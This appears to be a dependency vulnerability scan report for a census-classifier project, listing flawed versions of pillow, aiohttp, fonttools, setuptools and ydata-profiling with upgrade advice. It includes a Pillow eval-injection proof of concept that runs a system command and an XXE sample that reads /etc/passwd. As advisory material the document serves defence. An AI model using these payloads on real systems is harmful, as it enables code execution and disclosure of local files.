Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › imagehash@4.3.1 › pillow@9.5.0
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › phik@0.12.3 › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to phik@0.12.4.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › seaborn@0.12.2 › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to seaborn@0.12.2.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › wordcloud@1.9.4 › matplotlib@3.5.3 › pillow@9.5.0
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › wordcloud@1.9.4 › pillow@9.5.0
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › phik@0.12.3 › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › seaborn@0.12.2 › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › wordcloud@1.9.4 › matplotlib@3.5.3 › pillow@9.5.0
Overview
Affected versions of this package are vulnerable to Eval Injection via the PIL.ImageMath.eval function when an attacker has control over the keys passed to the environment argument.
PoC
from PIL import Image, ImageMath
image1 = Image.open('__class__')
image2 = Image.open('__bases__')
image3 = Image.open('__subclasses__')
image4 = Image.open('load_module')
image5 = Image.open('system')
expression = "().__class__.__bases__[0].__subclasses__()[104].load_module('os').system('whoami')"
environment = {
image1.filename: image1,
image2.filename: image2,
image3.filename: image3,
image4.filename: image4,
image5.filename: image5
}
ImageMath.eval(expression, **environment)
Remediation
Upgrade pillow to version 10.2.0 or higher.
References
high severity
- Vulnerable module: ydata-profiling
- Introduced through: ydata-profiling@4.16.1
Detailed paths
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1
Overview
ydata-profiling is a Generate profile report for pandas DataFrame
Affected versions of this package are vulnerable to Deserialization of Untrusted Data via the loads function in serialize_report.py. Exploiting this vulnerability is possible by creating a maliciously crafted profile reports.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.
Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.
Remediation
There is no fixed version for ydata-profiling.
References
high severity
- Vulnerable module: aiohttp
- Introduced through: aiohttp@3.8.6 and aiohttp-retry@2.9.1
Detailed paths
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › aiohttp@3.8.6Remediation: Upgrade to aiohttp@3.9.4.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › aiohttp-retry@2.9.1 › aiohttp@3.8.6
Overview
Affected versions of this package are vulnerable to Infinite loop when processing a multipart/form-data POST request with malicious CONTENT_DISPOSITION values. An attacker can cause the server to deny all other requests while stuck in the loop.
Remediation
Upgrade aiohttp to version 3.9.4 or higher.
References
high severity
- Vulnerable module: fonttools
- Introduced through: fonttools@4.38.0, matplotlib@3.5.3 and others
Detailed paths
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › fonttools@4.38.0Remediation: Upgrade to fonttools@4.43.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › matplotlib@3.5.3 › fonttools@4.38.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › phik@0.12.3 › matplotlib@3.5.3 › fonttools@4.38.0Remediation: Upgrade to phik@0.12.4.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › seaborn@0.12.2 › matplotlib@3.5.3 › fonttools@4.38.0Remediation: Upgrade to seaborn@0.12.2.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › wordcloud@1.9.4 › matplotlib@3.5.3 › fonttools@4.38.0
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › matplotlib@3.5.3 › fonttools@4.38.0Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › phik@0.12.3 › matplotlib@3.5.3 › fonttools@4.38.0Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › seaborn@0.12.2 › matplotlib@3.5.3 › fonttools@4.38.0Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › wordcloud@1.9.4 › matplotlib@3.5.3 › fonttools@4.38.0
Overview
fonttools is a Tools to manipulate font files
Affected versions of this package are vulnerable to XML External Entity (XXE) Injection via the OT-SVG parser in the svg.py file.
Details
XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.
Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.
For example, below is a sample XML document, containing an XML element- username.
<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<username>John</username>
</xml>
An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.
<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<username>&xxe;</username>
</xml>
Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.
Remediation
Upgrade fonttools to version 4.43.0 or higher.
References
high severity
- Vulnerable module: pillow
- Introduced through: pillow@9.5.0, imagehash@4.3.1 and others
Detailed paths
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › pillow@9.5.0Remediation: Upgrade to pillow@10.2.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › imagehash@4.3.1 › pillow@9.5.0
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › wordcloud@1.9.4 › pillow@9.5.0
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › imagehash@4.3.1 › pillow@9.5.0
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › phik@0.12.3 › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to phik@0.12.4.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › seaborn@0.12.2 › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to seaborn@0.12.2.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › wordcloud@1.9.4 › matplotlib@3.5.3 › pillow@9.5.0
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › wordcloud@1.9.4 › pillow@9.5.0
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › phik@0.12.3 › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › seaborn@0.12.2 › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › wordcloud@1.9.4 › matplotlib@3.5.3 › pillow@9.5.0
Overview
Affected versions of this package are vulnerable to Denial of Service (DoS) when using arbitrary strings as text input and the number of characters passed into PIL.ImageFont.ImageFont.getmask() is over a certain limit. This can lead to a system crash.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade pillow to version 10.2.0 or higher.
References
high severity
- Vulnerable module: pillow
- Introduced through: pillow@9.5.0, imagehash@4.3.1 and others
Detailed paths
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › pillow@9.5.0Remediation: Upgrade to pillow@10.2.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › imagehash@4.3.1 › pillow@9.5.0
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › wordcloud@1.9.4 › pillow@9.5.0
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › imagehash@4.3.1 › pillow@9.5.0
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › phik@0.12.3 › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to phik@0.12.4.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › seaborn@0.12.2 › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to seaborn@0.12.2.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › wordcloud@1.9.4 › matplotlib@3.5.3 › pillow@9.5.0
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › wordcloud@1.9.4 › pillow@9.5.0
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › phik@0.12.3 › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › seaborn@0.12.2 › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › wordcloud@1.9.4 › matplotlib@3.5.3 › pillow@9.5.0
Overview
Affected versions of this package are vulnerable to Denial of Service (DoS) if the size of individual glyphs extends beyond the bitmap image, when using PIL.ImageFont.ImageFont function. Exploiting this vulnerability could lead to a system crash.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade pillow to version 10.2.0 or higher.
References
high severity
- Vulnerable module: pillow
- Introduced through: pillow@9.5.0, imagehash@4.3.1 and others
Detailed paths
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › pillow@9.5.0Remediation: Upgrade to pillow@10.0.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › imagehash@4.3.1 › pillow@9.5.0
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › wordcloud@1.9.4 › pillow@9.5.0
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › imagehash@4.3.1 › pillow@9.5.0
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › phik@0.12.3 › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to phik@0.12.4.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › seaborn@0.12.2 › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to seaborn@0.12.2.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › wordcloud@1.9.4 › matplotlib@3.5.3 › pillow@9.5.0
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › wordcloud@1.9.4 › pillow@9.5.0
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › phik@0.12.3 › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › seaborn@0.12.2 › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › wordcloud@1.9.4 › matplotlib@3.5.3 › pillow@9.5.0
Overview
Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') when the ImageFont truetype in an ImageDraw instance operates on a long text argument. An attacker can cause the service to crash by processing a task that uncontrollably allocates memory.
Remediation
Upgrade pillow to version 10.0.0 or higher.
References
high severity
- Vulnerable module: setuptools
- Introduced through: numba@0.56.4 and ydata-profiling@4.16.1
Detailed paths
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › numba@0.56.4 › setuptools@40.5.0Remediation: Upgrade to numba@0.57.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › numba@0.56.4 › setuptools@40.5.0Remediation: Upgrade to ydata-profiling@4.16.1.
Overview
Affected versions of this package are vulnerable to Improper Control of Generation of Code ('Code Injection') through the package_index module's download functions due to the unsafe usage of os.system. An attacker can execute arbitrary commands on the system by providing malicious URLs or manipulating the URLs retrieved from package index servers.
Note
Because easy_install and package_index are deprecated, the exploitation surface is reduced, but it's conceivable through social engineering or minor compromise to a package index could grant remote access.
Remediation
Upgrade setuptools to version 70.0.0 or higher.
References
high severity
- Module: grandalf
- Introduced through: grandalf@0.8
Detailed paths
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › grandalf@0.8
Dual license: GPL-2.0, EPL-1.0
medium severity
new
- Vulnerable module: aiohttp
- Introduced through: aiohttp@3.8.6 and aiohttp-retry@2.9.1
Detailed paths
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › aiohttp@3.8.6Remediation: Upgrade to aiohttp@3.13.3.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › aiohttp-retry@2.9.1 › aiohttp@3.8.6
Overview
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the request.read() method. An attacker can cause the server to consume excessive CPU resources by sending a large number of chunked messages.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade aiohttp to version 3.13.3 or higher.
References
medium severity
new
- Vulnerable module: aiohttp
- Introduced through: aiohttp@3.8.6 and aiohttp-retry@2.9.1
Detailed paths
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › aiohttp@3.8.6Remediation: Upgrade to aiohttp@3.13.3.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › aiohttp-retry@2.9.1 › aiohttp@3.8.6
Overview
Affected versions of this package are vulnerable to Information Exposure over the /static endpoint. An attacker can determine the existence of internal path components by sending requests to probe for absolute path elements.
Remediation
Upgrade aiohttp to version 3.13.3 or higher.
References
medium severity
new
- Vulnerable module: aiohttp
- Introduced through: aiohttp@3.8.6 and aiohttp-retry@2.9.1
Detailed paths
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › aiohttp@3.8.6Remediation: Upgrade to aiohttp@3.13.3.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › aiohttp-retry@2.9.1 › aiohttp@3.8.6
Overview
Affected versions of this package are vulnerable to Logging of Excessive Data via the cookies attribute. An attacker can generate excessive warning-level log entries by sending specially crafted Cookie headers.
Remediation
Upgrade aiohttp to version 3.13.3 or higher.
References
medium severity
- Vulnerable module: fonttools
- Introduced through: fonttools@4.38.0, matplotlib@3.5.3 and others
Detailed paths
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › fonttools@4.38.0Remediation: Upgrade to fonttools@4.61.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › matplotlib@3.5.3 › fonttools@4.38.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › phik@0.12.3 › matplotlib@3.5.3 › fonttools@4.38.0Remediation: Upgrade to phik@0.12.4.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › seaborn@0.12.2 › matplotlib@3.5.3 › fonttools@4.38.0Remediation: Upgrade to seaborn@0.12.2.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › wordcloud@1.9.4 › matplotlib@3.5.3 › fonttools@4.38.0
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › matplotlib@3.5.3 › fonttools@4.38.0Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › phik@0.12.3 › matplotlib@3.5.3 › fonttools@4.38.0Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › seaborn@0.12.2 › matplotlib@3.5.3 › fonttools@4.38.0Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › wordcloud@1.9.4 › matplotlib@3.5.3 › fonttools@4.38.0
Overview
fonttools is a Tools to manipulate font files
Affected versions of this package are vulnerable to XML Injection via the main() function in the fontTools/varLib/__init__.py file. An attacker can write files to the filesystem by supplying a specially crafted .designspace file.
Remediation
